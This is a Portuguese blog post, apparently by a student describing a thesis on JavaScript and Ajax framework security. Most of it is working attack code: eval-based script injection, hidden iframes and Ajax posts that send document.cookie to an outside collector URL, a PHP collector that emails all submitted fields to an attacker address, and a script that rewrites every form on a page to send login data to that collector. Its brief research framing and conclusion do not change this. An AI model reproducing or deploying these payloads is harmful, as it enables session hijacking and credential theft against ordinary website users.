Testes com Javascript segurança
var script = document.createElement('script');
script.text = eval('function teste() {alert(document.cookie)}');
_________
INCLUSÃO DE SCRIPT NO FIREBUG
var script = document.createElement('script');
script.text = eval('function teste() {
document.write(\'<iframe width=1 height=1
src=http://www.sitehospedeiro.com.br/coletor.php?destino=teste@mailinator.com&cookie=\'+document.cookie.replace(/ /g,\'\')+\'></iframe>\')
}');
var script = document.createElement('script');
script.src = 'http://www.sitehospedeiro.com.br/invasor.js';
document.body.appendChild(script);<strong><span style="font-size: medium; ">INCLUSÃO DE ARQUIVO EM SERVIDOR PRÓPRIO</span></strong>
< ?php
$assunto = "Hack";
$headers = "Content-type: text/html; charset=iso-8859-1\r\n";
$msg = '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<style type="text/css">
<!--
.style1 {
font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight: bold;
}
.style2 {font-family: Verdana, Arial, Helvetica, sans-serif; font-weight: bold; font-size: 14px; }
-->
</style>
</head>
<body>
<h3 class="style1">Contato - '.$_SERVER['HTTP_HOST'].'</h3>
Dados Enviados:
<hr style="height:1px; color:#333333" height=1/>
';
// para cada variavel, cria uma linha como o nome e conteudo
foreach ($_REQUEST as $nome => $valor) {
$msg .="<b>".$nome."</b>: &nbsp; ".$valor."
";
}
$msg.='
<hr style="height:1px; color:#333333" height=1/>
</body>
</html>';
// manda o email para o destinatario ( pessoa que está hackeando )
if (@mail('teste@mailinator.com', $assunto, $msg, $headers)) {
echo '.';// imprime uma msg somente para informar o envio do email
}
?>
invasor.js
function teste() {
document.write('<iframe width=1 height=1 src=http://www.sitehospedeiro.com.br/coletor.php?destino=teste@mailinator.com&cookie='+document.cookie.replace(/ /g,'')+'&url='+window.location+'></iframe>');
}
INCLUSÃO DE JAVASCRIPT EM LOGIN
Código que faz a modificação de todos os formulários da pagina para poder enviar os dados ao invasor.
var total = document.forms.length;
var invasor = 'http://www.sitehospedeiro.com.br/coletor.php';
var url_antiga ='';
var target_antigo = '';
var iframe = document.createElement("<iframe style='visibility:hidden;display:none' width=1 height=1 name=iframe_invasor ></iframe>'"); // cria um iframe invisivel
document.body.appendChild(iframe); // adiciona o iframe ao body
for (i = 0; i < total; i++) {
document.forms[i].onsubmit = function() {
target_antigo = this.target;
url_antiga = this.action; // pega a url antiga
this.action = invasor; // adiciona a url invasora ao formulario
this.target = 'iframe_invasor';
this.submit(); // faz a submissão
this.action = url_antiga;
this.target = target_antigo;
this.submit();
}
}
( Todos os testes não visam quebrar a segurança de nenhum site, mas sim, verificar a segurança dos navegadores )
//primeiramente uma forma de se carregar por javascript um outro javascript na página do seu browser
var script = document.createElement('script');
script.text = eval('function teste() {alert(document.cookie)}');
_________
INCLUSÃO DE SCRIPT NO FIREBUG
var script = document.createElement('script');
script.text = eval('function teste() {
document.write(\'<iframe width=1 height=1
src=http://www.sitehospedeiro.com.br/coletor.php?destino=teste@mailinator.com&cookie=\'+document.cookie.replace(/ /g,\'\')+\'></iframe>\')
}');
var total = document.forms.length;
var invasor = 'http://www.sitehospedeiro.com.br/coletor.php';
var url_antiga ='';
var target_antigo = '';
var iframe2 = document.createElement("iframe");
iframe2.setAttribute("name","iframe_invasor");// cria um iframe invisivel
document.body.appendChild(iframe2); // adiciona o iframe ao body
for (i = 0; i < total; i++) {
document.forms[i].onsubmit = function() {
target_antigo = this.target;
url_antiga = this.action; // pega a url antiga
this.action = invasor; // adiciona a url invasora ao formulario
this.target = 'iframe_invasor';
this.submit(); // faz a submissão
this.action = url_antiga;
this.target = target_antigo;
this.submit();
}
}
- Os frameworks sozinhos não representam uma ameaça à segurança de uma aplicação web a não ser que sejam utilizados em conjunto com linguagens cliente-servidor como PHP, no caso podendo ser feito o envio de emails, acesso a contas de FTP (File Transfer Protocol), e outros tipos de processamento no servidor.
var script = document.createElement('script');
script.src = 'http://www.sitehospedeiro.com.br/scripts/prototype.js';
document.body.appendChild(script);
var script = document.createElement('script');
script.src = 'http://www.sitehospedeito.com.br/invasor.js';
document.body.appendChild(script);
var url = 'http://www.sitehospedeiro.com.br/coletor.php';
var params = ""+document.cookie;
new Ajax.Request(url, {
method: 'post',
params:params,
onComplete: function(){
alert('teste');
}
});
var script = document.createElement('script');
script.src = 'http://www.sitehospedeiro.com.br/admin/scripts/jquery.js';
document.body.appendChild(script);
var url2 = 'http://www.sitehospedeiro.com.br/coletor.php';
var params = " "+document.cookie;
$.ajax({
type: "POST",
url: url2,
data: params,
success: function(msg){
alert( "Data Saved: " + msg );
}
});
Conclusão:
O ponto forte do meu trabalho de conclusão de curso (TCC) foi o tratamento de chamadas Ajax no formato Json não tendo nenhum tipo de tratamento de aspas ou comandos incluídos em nós da estrutura.
Isso ocorre porque a estrutura de dados que foi analisada era um vetor serializado ( vetor em formato de string ).
E para que os dados sejam possiveis de serem transformados de texto em vetor novamente, é necessário que se faça um EVAL ( função que executa strings como se fossem linhas de código ) para que a estrutura possa ser utilizada pelo javascript.
O fato que é nem todos os frameworks javascript possuem uma verificação de funções que foram injetadas dentro de texto comum, podendo ser executado comandos como envio de dados inautorizado para emails alheios, ou seja, abrindo brechas de segurança.
Entretanto, os frameworks estudados obtiveram êxito, pois não foi possível executar um código no retorno da chamada ajax, somente se fosse incluido um arquivo js na página e chamado o método desejado
Bom, espero que tenham aproveitado estas minhas experiências tentando explorar as falhas dos navegadores/frameworks.
Muitos dos erros que tentei simular já foram corrigidos, o que é bom para o lado do desenvolvedor.
Até mais.
-
http://twitter.com/twp_conecte/status/20434965852 Claudemir (Prof.)


















